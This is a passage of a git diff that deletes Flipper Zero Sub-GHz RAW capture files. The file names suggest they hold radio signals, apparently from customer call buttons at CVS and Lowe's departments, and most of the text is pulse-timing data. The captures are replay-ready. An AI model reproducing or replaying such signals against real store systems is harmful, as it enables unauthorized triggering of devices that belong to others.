-1516 788 -752 1552 -1520 824 -748 1544 -744 1580 -744 1544 -748 1580 -748 1540 -740 1584 -744 1544 -748 1580 -744 1544 -744 1584 -744 1544 -744 1584 -740 1544 -748 1580 -744 1544 -740 1584 -748 1544 -744 1584 -740 1544 -748 1580 -1508 780 -1504 820 -1508 780 -1508 824 -1504 780 -748 1580 -1508 780 -748 1572 -1512 780 -1508 824 -1504 784 -744 1580 -1504 784 -740 1588 -1504 780 -744 1576 -4592 788 -744 1556 -1520 784 -752 1560 -1516 828 -744 1544 -740 1584 -748 1540 -748 1584 -744 1540 -744 1584 -744 1544 -744 1584 -740 1544 -744 1584 -744 1544 -744 1580 -748 1544 -744 1584 -736 1548 -748 1580 -744 1544 -744 1580 -748 1544 -744 1576 -1512 776 -1508 820 -1508 780 -1508 824 -1504 784 -740 1584 -1504 784 -748 1576 -1504 784 -1500 828 -1504 780 -744 1584 -1508 780 -748 1580 -1504 784 -740 1560 -15924 diff --git a/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub b/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub deleted file mode 100644 index cfab97a9d..000000000 --- a/assets/resources/subghz/Stores/CVS/Vitamin_Department.sub +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -# generated with ook_to_sub.py -Frequency: 433920000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 804 -748 1556 -1512 792 -744 1560 -1516 828 -740 1544 -744 1584 -736 1548 -740 1588 -740 1544 -744 1588 -736 1548 -740 1584 -744 1544 -744 1580 -740 1548 -740 1584 -740 1552 -740 1584 -744 1544 -740 1584 -748 1544 -740 1584 -744 1548 -740 1584 -1504 784 -1504 828 -1504 780 -744 1580 -1504 784 -1500 828 -1504 784 -740 1584 -1504 784 -1500 828 -1504 780 -1504 824 -1504 788 -1500 824 -1500 788 -1504 824 -4584 792 -748 1556 -1516 788 -752 1556 -1516 828 -744 1544 -740 1584 -748 1548 -732 1588 -744 1548 -736 1588 -744 1544 -736 1588 -744 1548 -736 1584 -744 1552 -736 1588 -740 1548 -740 1588 -740 1548 -736 1588 -744 1544 -744 1584 -744 1544 -744 1580 -1508 784 -1500 832 -1504 784 -736 1584 -1504 784 -1500 832 -1500 784 -740 1584 -1500 788 -1504 820 -1508 776 -1508 824 -1500 784 -1504 824 -1504 788 -1500 820 -4592 788 -748 1560 -1508 796 -740 1564 -1512 828 -744 1552 -740 1584 -740 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1584 -740 1544 -744 1588 -736 1548 -740 1588 -740 1548 -744 1584 -740 1548 -740 1584 -740 1548 -740 1588 -744 1544 -744 1584 -1500 784 -1504 832 -1500 784 -744 1580 -1504 780 -1504 828 -1500 788 -736 1584 -1504 788 -1500 820 -1504 788 -1504 820 -1500 788 -1500 828 -1500 784 -1500 828 -4588 788 -748 1556 -1516 788 -752 1556 -1512 832 -744 1544 -740 1584 -740 1548 -744 1588 -736 1548 -744 1584 -736 1548 -740 1588 -736 1552 -744 1580 -740 1548 -744 1588 -736 1544 -748 1584 -740 1548 -740 1588 -740 1544 -744 1588 -736 1548 -740 1580 -1504 788 -1500 828 -1500 784 -740 1580 -1500 788 -1500 828 -1500 784 -740 1584 -1500 788 -1504 820 -1504 788 -1496 824 -1504 784 -1500 828 -1496 788 -1496 828 -4584 792 -744 1560 -1512 792 -748 1556 -1516 828 -740 1548 -740 1588 -740 1544 -740 1588 -740 1548 -740 1588 -740 1548 -736 1588 -740 1548 -736 1588 -740 1548 -740 1588 -736 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1588 -736 1548 -744 1584 -1504 784 -1500 828 -1504 788 -736 1580 -1504 788 -1504 824 -1504 784 -740 1580 -1504 788 -1500 824 -1500 788 -1504 824 -1504 780 -1504 828 -1500 784 -1504 820 -4588 792 -748 1560 -1512 792 -744 1560 -1516 828 -740 1552 -740 1588 -740 1548 -736 1592 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -740 1552 -744 1584 -740 1548 -744 1588 -736 1552 -744 1584 -744 1548 -740 1584 -744 1552 -736 1588 -1500 788 -1504 828 -1504 784 -740 1580 -1508 784 -1500 828 -1504 788 -740 1580 -1504 784 -1504 824 -1500 792 -1500 820 -1508 784 -1500 828 -1504 784 -1504 820 -4588 792 -748 1564 -1508 788 -752 1564 -1512 -RAW_Data: 828 -744 1544 -744 1584 -744 1544 -740 1588 -740 1548 -740 1588 -744 1544 -740 1588 -744 1544 -740 1588 -744 1544 -736 1588 -740 1552 -736 1588 -744 1544 -744 1584 -744 1548 -736 1588 -740 1552 -736 1584 -1504 788 -1504 828 -1500 788 -740 1580 -1500 788 -1500 828 -1504 784 -740 1584 -1504 784 -1500 824 -1504 788 -1500 816 -1504 792 -1504 820 -1504 784 -1504 824 -4584 796 -744 1560 -1512 792 -744 1560 -1520 828 -736 1552 -740 1588 -736 1552 -740 1588 -736 1548 -744 1584 -744 1544 -744 1584 -740 1548 -744 1584 -744 1544 -740 1592 -740 1552 -736 1588 -744 1548 -736 1588 -744 1548 -744 1584 -740 1548 -740 1584 -1504 788 -1500 832 -1500 788 -740 1584 -1500 784 -1504 828 -1500 792 -736 1584 -1504 784 -1504 824 -1508 780 -1504 828 -1504 780 -1504 824 -1500 788 -1504 820 -4592 792 -740 1564 -1520 788 -740 1564 -1516 832 -740 1544 -744 1584 -740 1552 -740 1588 -736 1548 -748 1580 -744 1544 -748 1584 -736 1552 -740 1588 -740 1552 -740 1584 -740 1552 -736 1592 -740 1552 -736 1588 -740 1548 -744 1588 -740 1548 -740 1584 -1504 784 -1508 828 -1500 784 -744 1580 -1508 784 -1504 824 -1504 784 -744 1580 -1504 784 -1504 828 -1500 788 -1500 824 -1504 788 -1504 820 -1500 788 -1504 824 -4588 792 -744 1560 -1520 788 -748 1556 -1516 832 -736 1552 -740 1588 -740 1552 -736 1588 -744 1548 -736 1588 -744 1548 -736 1588 -744 1544 -740 1588 -740 1552 -740 1584 -740 1552 -740 1588 -740 1548 -736 1592 -740 1548 -740 1588 -740 1548 -744 1584 -1500 788 -1504 828 -1504 784 -740 1584 -1504 784 -1504 828 -1504 784 -744 1580 -1508 780 -1504 824 -1508 780 -1504 824 -1504 784 -1504 820 -1508 784 -1500 804 -15924 diff --git a/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub b/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub deleted file mode 100644 index b19905bf4..000000000 --- a/assets/resources/subghz/Stores/Lowes/Appliance_Desk.sub +++ /dev/null @@ -1,17 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 605 -645 592 -469 456 -217 478 -194 387 -403 171 -376 627 -348 140 -378 343 -287 556 -136 491 -307 163 -305 478 -557 389 -429 288 -101 496 -302 260 -443 390 -292 537 -597 499 -552 160 -293 570 -158 480 -144 571 -435 694 -573 603 -599 138 -516 628 -227 193 -274 555 -250 663 -466 522 -237 652 -574 160 -339 329 -337 340 -662 503 -443 240 -328 504 -231 271 -539 349 -569 537 -390 336 -254 235 -477 489 -519 342 -574 383 -462 652 -557 520 -191 202 -525 525 -437 405 -458 304 -611 636 -226 587 -400 615 -680 -RAW_Data: 3893 -10486 1175 -4744 1163 -1812 1199 -4680 1203 -7598 1219 -1782 1173 -4718 1185 -7616 1177 -1812 1193 -4726 1201 -7606 1209 -1776 1215 -4700 1201 -4682 1209 -4706 1193 -4684 1203 -7632 1177 -1806 1185 -4726 1201 -4690 1201 -7604 1179 -10512 1215 -4694 1195 -1810 1167 -4710 1201 -7592 1219 -1778 1201 -4684 1195 -7610 1211 -1774 1187 -4726 1199 -7598 1201 -1810 1181 -4688 1221 -4686 1203 -4718 1179 -4714 1179 -7628 1169 -1806 1195 -4696 1207 -4688 1219 -7612 1205 -10508 1187 -4708 1177 -1808 1195 -4684 -RAW_Data: 1201 -7594 1199 -1794 1211 -4694 1191 -7606 1207 -1774 1217 -4674 1211 -7606 1199 -1812 1201 -4686 1211 -4684 1215 -4698 1199 -4680 1209 -7602 1223 -1776 1203 -4722 1191 -4696 1207 -7604 1191 -10518 1207 -4680 1183 -1800 1211 -4702 1201 -7562 1201 -1806 1205 -4688 1219 -7598 1203 -1802 1167 -4698 1209 -7622 1203 -1800 1201 -4676 1211 -4718 1203 -4688 1201 -4690 1207 -7602 1219 -1808 1171 -4716 1189 -4704 1207 -7588 1231 -10518 1191 -4702 1177 -1810 1193 -4690 1203 -7592 1213 -1802 1179 -4720 1205 -7604 -RAW_Data: 1201 -1774 1209 -4708 1191 -7610 1205 -1806 1181 -4712 1181 -4704 1205 -4714 1187 -4710 1177 -7632 1195 -1810 1199 -4690 1211 -4678 1221 -7604 1203 -10504 1197 -4718 1177 -1802 1189 -4680 1203 -7618 1207 -1776 1187 -4722 1171 -7640 1197 -1816 1175 -4724 1189 -7608 1207 -1804 1179 -4716 1181 -4728 1201 -4688 1199 -4688 1207 -7602 1223 -1778 1201 -4718 1185 -4708 1205 -7608 1193 -10518 1203 -4716 1179 -1802 1181 -4724 1201 -7592 1199 -1782 1209 -4684 1223 -7606 1201 -1774 1195 -4694 1211 -7606 1221 -1778 -RAW_Data: 1203 -4708 1209 -4688 1217 -4690 1203 -4682 1215 -7592 1213 -1810 1199 -4682 1195 -4696 1211 -7632 1185 -10524 1165 -4716 1181 -1806 1183 -4722 1205 -7600 1203 -1800 1175 -4688 1221 -7604 1205 -1806 1155 -4734 1177 -7634 1193 -1816 1167 -4716 1201 -4714 1193 -4692 1203 -4718 1181 -7620 1187 -1812 1203 -4688 1193 -4726 1177 -7608 1223 -10502 1205 -4706 1201 -1768 1211 -4692 1197 -7606 1207 -1806 1177 -4706 1181 -7608 1199 -1808 1201 -4688 1209 -7594 1225 -1782 1203 -4716 1175 -4716 1183 -4720 1203 -4684 -RAW_Data: 1223 -7642 1177 -1812 1207 -4682 1193 -4698 1209 -7624 1197 -10520 1205 -4678 1185 -1800 1215 -4692 1191 -7604 1201 -1802 1205 -4686 1217 -7602 1171 -1804 1195 -4728 1175 -7606 1227 -1786 1199 -4720 1181 -4716 1177 -4726 1199 -4680 1195 -7646 1177 -1806 1193 -4690 1205 -4720 1179 -7632 1181 -10516 1199 -4726 1169 -1808 1209 -4690 1179 -7602 1201 -1810 1197 -4690 1211 -7598 1183 -1792 1203 -4716 1187 -7616 1173 -1812 1197 -4692 1201 -4712 1213 -4686 1183 -4730 1201 -7598 1199 -1812 1173 -4688 1221 -4688 -RAW_Data: 1205 -7598 1193 -10510 1201 -4726 1189 -1778 1203 -4678 1199 -7622 1207 -1768 1197 -4690 1203 -7596 1213 -1804 1177 -4720 1199 -7596 1191 -1818 1207 -4694 1195 -4718 1197 -4682 1209 -4720 1191 -7604 1205 -1804 1175 -4720 1179 -4720 1205 -7586 1223 -10514 1207 -4694 1193 -1780 1201 -4716 1177 -7628 1179 -1810 1205 -4684 1197 -7620 1209 -1778 1199 -4690 1205 -7634 1207 -1806 1183 -4710 1199 -4684 1205 -4726 1191 -4698 1205 -7618 1173 -1804 1217 -4672 1205 -4714 1207 -7616 1193 -10518 1205 -4680 1199 -1802 -RAW_Data: 1181 -4722 1173 -7632 1199 -1806 1171 -4720 1187 -7594 1199 -1808 1209 -4690 1215 -7608 1201 -1774 1191 -4724 1207 -4708 1203 -4688 1197 -4712 1173 -7610 1219 -1782 1203 -4718 1177 -4716 1175 -7600 1203 -10516 1205 -4684 1215 -1802 1179 -4708 1175 -7628 1185 -1792 1209 -4692 1195 -7604 1207 -1810 1177 -4714 1179 -7638 1173 -1810 1195 -4728 1175 -4720 1197 -4692 1203 -4718 1211 -7600 1181 -1814 1203 -4688 1223 -4696 1205 -7606 1197 -10516 1203 -4716 1177 -1802 1179 -4722 1205 -7598 1201 -1774 1209 -4686 -RAW_Data: 1219 -7610 1177 -1802 1203 -4710 1177 -7638 1205 -1774 1225 -4696 1207 -4710 1167 -4720 1193 -4716 1205 -7608 1195 -1808 1195 -4722 1175 -4726 1187 -7602 1205 -10542 1181 -4720 1179 -1796 1205 -4680 1193 -7624 1205 -1778 1195 -4722 1201 -7594 1211 -1800 1189 -4694 1203 -7626 1209 -1804 1189 -4688 1199 -4720 1211 -4686 1215 -4692 1203 -7624 1199 -1800 1177 -4724 1167 -4724 1201 -7604 1209 -10498 1221 -4686 1199 -1808 1177 -4718 1179 -7622 1203 -1800 1167 -4704 1209 -7608 1199 -1816 1167 -4718 1209 -7604 -RAW_Data: 1185 -1814 1203 -4712 1199 -4682 1213 -4694 1199 -4694 1199 -7628 1211 -1806 1189 -4694 1203 -4716 1191 -7616 1207 -10550 1167 -4718 1199 -1782 1209 -4688 1217 -7606 1205 -1774 1195 -4696 1213 -7604 1213 -1794 1169 -4722 1209 -7602 1185 -1810 1203 -4718 1187 -4704 1209 -4712 1203 -4682 1191 -7632 1209 -1812 1163 -4720 1195 -4716 1175 -7634 1193 -10506 1199 -4718 1207 -1776 1221 -4696 1169 -7622 1193 -1812 1173 -4724 1193 -7608 1207 -1804 1177 -4714 1181 -7616 1203 -1802 1203 -4690 1223 -4700 1205 -4680 -RAW_Data: 1213 -4714 1179 -7614 1207 -1806 1185 -4710 1209 -4694 1193 -7606 1203 -10540 1177 -4716 1181 -1826 1167 -4718 1175 -7660 1195 -1782 1203 -4716 1181 -7624 1181 -1788 1201 -4716 1187 -7612 1209 -1812 1167 -4712 1197 -4702 1209 -4696 1199 -4718 1195 -7604 1209 -1808 1195 -4696 1203 -4712 1181 -7628 1185 -117142 165 -166 133 -68 99 -132 199 -230 299 -132 699 -166 331 -232 591 -100 457 -130 523 -98 723 -100 2005 -98 2073 -132 2679 -98 8815 -16856 461 -164 97 -66 65 -164 -161 113 -167 470 -272 413 -461 596 -RAW_Data: -651 248 -550 296 -391 551 -160 410 -630 443 -461 492 -260 168 -551 500 -631 552 -477 242 -540 141 -300 666 -630 520 -292 109 -309 465 -284 606 -273 151 -681 493 -580 484 -583 310 -443 329 -282 287 -675 399 -677 272 -123 584 -145 111 -319 434 -666 243 -238 282 -200 449 -133 542 -147 624 -505 233 -274 114 -549 442 -229 345 -568 525 -399 266 -630 549 -345 357 -695 400 -200 688 -332 287 -232 493 -636 564 -162 615 -339 251 -129 579 -324 266 -220 571 -593 621 -667 617 -550 691 -114 697 -544 237 -558 195 diff --git a/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub b/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub deleted file mode 100644 index 320d2c83a..000000000 --- a/assets/resources/subghz/Stores/Lowes/Blind_Cutting.sub +++ /dev/null @@ -1,7 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 176942 -13098 199 -4058 65 -100 231 -198 231 -98 199 -134 931 -100 333 -66 103035 -4446 67 -434 99 -66 97 -234 99 -232 65 -406 167 -132 199 -300 65 -6822 65 -2468 63 -426 131 -426 65 -328 165 -100 163 -692 459 -66 621 -296 2275 -134 739749 -10728 1007 -4918 1009 -2006 991 -4912 973 -7830 1017 -2004 985 -4914 1007 -7824 975 -2016 985 -7860 981 -2002 1019 -4890 1011 -4934 995 -7820 987 -2030 977 -7838 985 -2032 999 -4912 1007 -4900 1009 -4910 999 -7808 1027 -10702 1005 -4938 977 -2012 981 -4944 1001 -7826 1007 -1978 1027 -4914 971 -7852 977 -2020 995 -7820 1021 -2000 1011 -4920 973 -4918 1023 -7826 1011 -2004 975 -7840 1011 -2006 985 -4938 997 -4918 1007 -4922 1009 -7836 985 -10730 1011 -4908 1005 -2020 975 -4920 1023 -7822 987 -2028 977 -4910 989 -7828 1005 -1998 1009 -7850 997 -2002 997 -4910 1007 -4922 1007 -7800 1021 -1996 1005 -7806 1007 -2038 987 -4916 973 -4912 1011 -4920 983 -7834 1013 -10708 1017 -4924 989 -2002 1007 -4910 979 -7820 997 -2008 1027 -4914 997 -7816 1011 -2000 973 -7842 1009 -2010 985 -4950 969 -4944 1007 -7830 1013 -2010 1015 -7808 1023 -1994 999 -4920 1009 -4916 1009 -4898 1015 -7804 1015 -10738 989 -4916 999 -2018 997 -4914 999 -7818 1003 -2004 1007 -4920 983 -7836 1011 -2002 1009 -7808 1013 -1996 1023 -4910 997 -4914 1005 -7838 1013 -2004 985 -7832 1009 -2002 983 -4920 1015 -4898 1009 -4914 1009 -7800 1013 -10718 1011 -4912 1005 -1988 1011 -4914 977 -7824 1009 -1992 1011 -4890 1015 -7826 985 -2018 983 -7832 1009 -2000 1007 -4908 1011 -4928 997 -7822 1023 -2000 1009 -7808 1009 -2004 1025 -4888 1039 -4876 1013 -4928 985 -7836 1009 -10744 987 -4916 1011 -2014 979 -4912 1021 -7810 1011 -2010 979 -4916 1021 -7810 1015 -2008 977 -7828 1023 -2018 967 -4922 1025 -4912 987 -7852 1009 -2014 971 -7860 983 -2032 977 -4934 1001 -4912 1007 -4894 1023 -7824 991 -10728 1011 -4898 999 -2002 997 -4928 1007 -7794 1017 -2006 969 -4920 1009 -7814 989 -2020 981 -7834 1011 -2000 999 -4912 1007 -4944 979 -7854 977 -2010 1025 -7826 997 -2030 975 -4912 1011 -4914 1011 -4896 1009 -7848 1001 -10740 1005 -4914 1007 -1996 999 -4890 1013 -7826 1007 -2022 967 -4922 1023 -7792 1023 -1992 1015 -7806 1015 -2002 1017 -4904 1013 -4902 1025 -7822 989 -2030 979 -7830 1005 -2034 999 -4890 1013 -4904 1029 -4886 1039 -7824 977 -10742 1011 -4884 1015 -2002 1007 -4886 999 -7834 1001 -2000 997 -4916 1007 -7810 991 -2016 983 -7834 1009 -2000 1005 -4904 1013 -4912 987 -7824 1023 -1990 1011 -7836 983 -2036 971 -4912 1007 -4932 995 -4910 1027 -7800 1005 -10746 1015 -4888 1025 -1976 1007 -4920 1011 -7802 1025 -2008 973 -4920 1013 -7830 987 -2012 1005 -7818 1011 -2020 975 -4926 1021 -4914 1001 -7822 1007 -2012 1005 -7822 997 -2022 991 -4906 997 -4918 1009 -4924 -RAW_Data: 1009 -7828 985 -10746 1005 -4910 1009 -1988 1013 -4908 979 -7828 1011 -1986 1011 -4892 1009 -7826 1007 -1992 1013 -7804 1011 -1998 1009 -4908 1013 -4902 1025 -7824 1003 -2000 1011 -7792 1023 -2002 997 -4914 1001 -4920 973 -4916 1027 -7804 1005 -10750 983 -4948 959 -2038 977 -4926 975 -7832 993 -2032 975 -4920 1007 -7832 999 -1998 989 -7862 989 -2022 977 -4920 1019 -4934 999 -7836 1003 -2002 993 -7856 971 -2036 975 -4928 1013 -4926 981 -4908 1007 -7852 975 -10754 1007 -4916 989 -2004 1007 -4912 975 -7838 1015 -1994 983 -4944 971 -7820 1011 -2010 983 -7828 1023 -1988 1015 -4890 1011 -4912 1007 -7812 1013 -2008 985 -7826 1023 -1992 1011 -4910 1019 -4910 973 -4942 975 -7838 987 -10730 1029 -4914 975 -2008 1011 -4916 989 -7834 1011 -2004 1009 -4890 1001 -7834 1003 -2000 993 -7830 1009 -2010 1007 -4920 985 -4916 1015 -7850 997 -2002 1007 -7820 985 -2020 1015 -4922 985 -4914 1021 -4902 1015 -7808 1013 -10740 987 -4926 1011 -2008 981 -4912 1007 -7846 975 -2010 989 -4912 1005 -7854 977 -2008 1019 -7820 993 -2032 973 -4918 1011 -4916 981 -7866 981 -2000 1009 -7840 1001 -2016 969 -4912 1025 -4916 973 -4920 1011 -7832 989 -10734 1009 -4884 1011 -2010 987 -4912 1009 -7822 1007 -1982 1001 -4926 983 -7824 1001 -2034 975 -7850 979 -2038 987 -4918 1009 -4912 985 -7844 1013 -1992 1023 -7810 1021 -2002 1013 -4894 1001 -4912 1027 -4890 1007 -7836 1013 -10714 1021 -4904 1005 -1980 1007 -4914 995 -7830 1007 -2006 1005 -4918 989 -7828 1005 -1996 1007 -7812 1011 -2010 989 -4948 985 -4928 1001 -7832 1007 -2008 985 -7818 1011 -1998 1005 -4904 1009 -4922 983 -4938 997 -7838 973 -10742 1015 -4914 987 -2008 975 -4920 1007 -7832 987 -2000 1013 -4878 1015 -7836 981 -2034 981 -7830 1021 -2014 969 -4930 1011 -4924 989 -7832 1011 -2004 975 -7846 1011 -2024 969 -4944 985 -4922 1005 -4904 1007 -7816 1011 -10750 995 -4906 999 -2014 1009 -4884 1009 -7838 981 -2012 1011 -4918 979 -7844 983 -2008 1011 -7828 989 -2018 1017 -4888 1011 -4914 1009 -7846 977 -2016 999 -7820 1021 -2002 1003 -4922 1007 -4912 1001 -4912 1023 -7828 987 -10720 1013 -4904 985 -2032 971 -4940 977 -7842 993 -2000 997 -4918 1007 -7796 1015 -2008 989 -7828 1007 -2002 1007 -4894 1013 -4924 983 -7856 987 -2026 977 -7834 1025 -2002 985 -4934 977 -4936 995 -4914 995 -7832 1007 -181308 65 -230 97 -722 231 -526 65 -262 231 -98 97 -494 393 -98 163 -132 219969 -34298 65 -3758 65 -530 197 -664 395 -132 655 -100 97 -332 131 -100 755 diff --git a/assets/resources/subghz/Stores/Lowes/Electrical.sub b/assets/resources/subghz/Stores/Lowes/Electrical.sub deleted file mode 100644 index 109ee9988..000000000 --- a/assets/resources/subghz/Stores/Lowes/Electrical.sub +++ /dev/null @@ -1,9 +0,0 @@ -Filetype: Flipper SubGhz RAW File -Version: 1 -Frequency: 303875000 -Preset: FuriHalSubGhzPresetOok650Async -Protocol: RAW -RAW_Data: 595 -134 165 -100 99 -1520 527 -100 4258 -3902 297 -100 231 -132 1025 -66 65 -132 297 -66 163 -132 131 -1684 11689 -3106 65 -960 133 -196 165 -66 299 -132 199 -232 429 -132 231 -166 199 -164 99 -134 65 -1422 527 -100 1259 -66 28391 -4138 197 -132 99 -68 99 -298 263 -132 65 -200 661 -100 329 -166 129 -132 361 -2312 99 -298 497 -100 99 -132 297 -100 265 -132 22567 -4066 1421 -132 199 -298 65 -430 563 -166 65 -364 199 -100 859 -100 1893 -66 1103 -10818 929 -4942 979 -2038 953 -4940 983 -7818 1015 -1982 1011 -4918 981 -7826 997 -2010 981 -7830 977 -2016 1015 -7800 1009 -2006 1005 -7810 995 -2020 997 -4908 993 -4920 1005 -4894 1011 -4924 987 -4894 1005 -7834 1009 -10704 993 -4930 1003 -1980 989 -4914 1009 -7814 1013 -1994 987 -4912 1011 -7798 999 -2022 973 -7850 997 -2014 981 -7822 989 -2018 1013 -7828 981 -2032 965 -4912 1005 -4918 1013 -4886 1023 -4912 1011 -4882 1013 -7832 983 -10724 1009 -4916 987 -2008 1003 -4888 1009 -7830 979 -2014 987 -4920 1009 -7790 1011 -2006 985 -7834 1005 -2006 979 -7844 985 -2006 1011 -7812 987 -2018 983 -4914 1015 -4916 1009 -4902 983 -4918 1013 -4886 1013 -7830 985 -10714 1035 -4886 1011 -1968 1019 -4884 1007 -7810 1041 -1964 1009 -4902 1013 -7806 1009 -2006 977 -7836 985 -2008 1009 -7826 987 -2014 981 -7838 1011 -2004 1007 -4900 1011 -4922 981 -4908 1021 -4898 983 -4924 1009 -7828 1021 -10726 1013 -4906 983 -1998 1007 -4908 981 -7844 983 -1998 1007 -4908 1013 -7804 1009 -2000 985 -7838 979 -2016 1013 -7826 987 -2014 985 -7838 1011 -2006 975 -4928 983 -4926 1011 -4888 1009 -4920 985 -4926 975 -7834 1011 -10704 1025 -4886 1013 -1976 1013 -4914 977 -7832 999 -1996 981 -4908 1019 -7808 1013 -1982 1011 -7822 1011 -1984 1013 -7804 1011 -2002 1009 -7818 1011 -1984 1015 -4914 1009 -4932 1007 -4886 1003 -4906 1029 -4886 1013 -7824 1011 -10712 979 -4938 983 -2004 1007 -4900 1015 -7804 1013 -1972 1013 -4890 1023 -7804 1005 -2012 973 -7830 1025 -1978 1007 -7836 1011 -2004 985 -7836 1005 -2002 1011 -4888 1015 -4890 1011 -4906 1009 -4902 1003 -4904 1025 -7810 989 -10730 1011 -4904 985 -1998 1005 -4902 1001 -7830 997 -1994 997 -4906 1007 -7796 1013 -2010 985 -7820 1013 -2000 1007 -7806 1045 -1982 1017 -7792 1045 -1998 975 -4926 995 -4908 995 -4920 1005 -4914 1009 -4920 999 -7800 1015 -10740 985 -4922 987 -2008 975 -4922 1007 -7796 1019 -2002 977 -4922 985 -7850 987 -2018 967 -7842 987 -2034 969 -7848 971 -2028 1005 -7826 1003 -2010 973 -4942 999 -4890 1013 -4918 975 -4928 983 -4916 1013 -7830 979 -10722 1023 -4888 1011 -1984 1001 -4916 997 -7798 1009 -2012 981 -4916 979 -7810 1023 -2004 973 -7826 1011 -2008 983 -7832 1013 -2004 981 -7840 985 -1996 1009 -4908 1009 -4898 999 -4936 -RAW_Data: 975 -4912 1025 -4882 1003 -7824 1017 -10710 995 -4916 1009 -2008 995 -4912 971 -7820 1011 -1994 987 -4936 997 -7798 1005 -2012 973 -7830 993 -2038 971 -7828 1011 -2008 985 -7830 1011 -2002 983 -4926 1015 -4890 1009 -4914 1011 -4898 981 -4938 979 -7818 1021 -10714 1013 -4904 985 -2006 1007 -4890 1011 -7808 1011 -2004 977 -4892 1027 -7800 1009 -2012 973 -7826 995 -2038 975 -7806 1011 -2002 995 -7832 1009 -2006 997 -4914 1003 -4910 979 -4928 979 -4912 1011 -4896 1015 -7806 1011 -10704 1017 -4914 999 -2002 981 -4912 977 -7846 985 -2010 1011 -4880 1013 -7788 1029 -1994 981 -7824 1009 -1992 1009 -7816 1007 -2002 1023 -7796 1005 -2006 1009 -4920 985 -4918 1007 -4884 1017 -4890 1021 -4916 1009 -7794 1015 -10746 987 -4888 1005 -2008 1007 -4886 997 -7830 1011 -2004 977 -4920 983 -7802 1037 -1968 1013 -7838 987 -2004 1011 -7790 1011 -2012 983 -7834 1009 -2000 981 -4932 985 -4922 1009 -4884 1013 -4890 1023 -4908 1005 -7814 985 -10730 983 -4922 979 -2008 1007 -4918 1013 -7808 1011 -2006 977 -4922 987 -7828 973 -2034 975 -7824 1009 -1990 1023 -7824 969 -2024 1005 -7808 1001 -2002 991 -4918 1009 -4926 973 -4920 995 -4912 1007 -4920 973 -7828 997 -10736 1011 -4918 977 -2012 985 -4910 1007 -7792 1019 -2012 985 -4914 1007 -7796 1017 -2004 985 -7812 1013 -2004 983 -7840 981 -2012 1011 -7830 977 -2012 1015 -4896 1011 -4884 1013 -4890 1025 -4916 977 -4922 1007 -7800 993 -10726 1005 -4920 971 -2004 993 -4918 1011 -7798 991 -2036 971 -4900 1013 -7824 985 -2006 1005 -7828 969 -2044 991 -7812 985 -2024 1005 -7808 1003 -2006 983 -4946 977 -4922 989 -4914 1009 -4900 1013 -4890 1013 -7824 987 -10756 987 -4890 1005 -2010 1005 -4884 1021 -7822 977 -2022 973 -4910 995 -7834 1009 -2000 977 -7834 999 -2020 995 -7818 985 -2030 975 -7834 1025 -2000 1001 -4910 977 -4922 987 -4910 1019 -4898 1013 -4910 995 -7824 987 -10726 979 -4920 1007 -1996 975 -4928 985 -7834 975 -2006 1009 -4920 989 -7796 1007 -2010 1005 -7796 1019 -2000 1003 -7826 979 -2034 1001 -7798 1013 -2000 1015 -4898 1011 -4894 1011 -4910 1009 -4898 1017 -4888 1009 -7824 1007 -10710 999 -4916 985 -2002 1007 -4902 1015 -7810 981 -1998 1005 -4902 1011 -7806 1013 -2002 975 -7834 999 -2010 987 -7828 1009 -2018 971 -7834 1001 -2002 995 -4940 969 -4914 1011 -4924 987 -4906 1007 -4916 979 -7822 1015 -10718 975 -4912 1013 -2010 991 -4888 1007 -7804 1005 -2000 999 -4910 1009 -7794 1011 -2008 985 -7826 1009 -2000 973 -7834 1011 -2014 985 -7816 995 -2036 975 -4922 1011 -4920 989 -4918 975 -4922 1011 -4888 1025 -7798 1007 -185596 231 -66 229 -132 363 -100 427 -100 197 -66 199 -132 197 -988 97 -494 69613 -432 65 -98 67 -530 65 -2644 527 -132 1217 -100 3297 -498 15229 -3726 987 -98 2635 -166 659 -66 195 -100 16193 -1086 -RAW_Data: 163 -132 131 -592 327 -66 3921 -100 1753 -292 129 -266 97 -2808 1055 -330 197 -66 199 -562 99 -100 163 -100 99 -166 67 -198 529 -1154 99 -164 165 -858 593 -166 97 -266 65 -132 363 -396 99 -164 14181 -2880 131 -398 231 -100 131 -98 497 -296 97 -166 99 -330 199 -130 165 -66 15471 -3640 1061 -198 297 -498 97 -2312 28949 -3512 131 -66 431 -166 99 -198 331 -366 97 -66 44891 -3712 561 -132 295 -98 263 -198 593 -66 67 -296 199 -132 99 -66 197 -66 397 -996 63 -100 65 -330 65 -494 1353 -100 565 -134 16509 -400 165 -1322 199 -1818 363 -64 197 -100 361 -98 659 -66 261 -98 361 -100 361 -230 67 -66 97 -100 65 -794 131 -628 1195 -728 825 -134 1249 -164 97 -198 295 -66 993 -100 531 -166 363 -100 265 -132 199 -98 131 -132 99 -100 163 -1558 15019 -3782 263 -132 497 -132 165 -364 199 -98 331 -132 329 -132 197 -362 65 -66 131 -1450 32165 -3698 331 -198 97 -296 131 -396 263 -100 199 -66 261 -66 15667 -1610 97 -232 261 -166 395 -824 759 -164 2667 -164 297 -66 331 -166 99 -266 297 -364 25987 -3728 1189 -98 563 -132 363 -132 229 -68 463 -98 131 -1978 65 -198 1557 -7616 131 -492 527 -66 363 -130 65 -2446 10031 -8230 1717 -100 1191 -132 761 -166 99 -100 14069 -522 131 -230 131 -166 297 -232 661 -98 3149 -100 197 -432 265 -892 11705 -3704 363 -66 199 -132 431 -98 531 -132 231 -100 263 -166 297 -2186 29863 -3748 593 -66 461 -164 363 -196 297 -394 65 -100 261 -132 229 -100 327 -890 429 -930 659 -3936 65 -100 297 -134 165 -164 265 -166 131 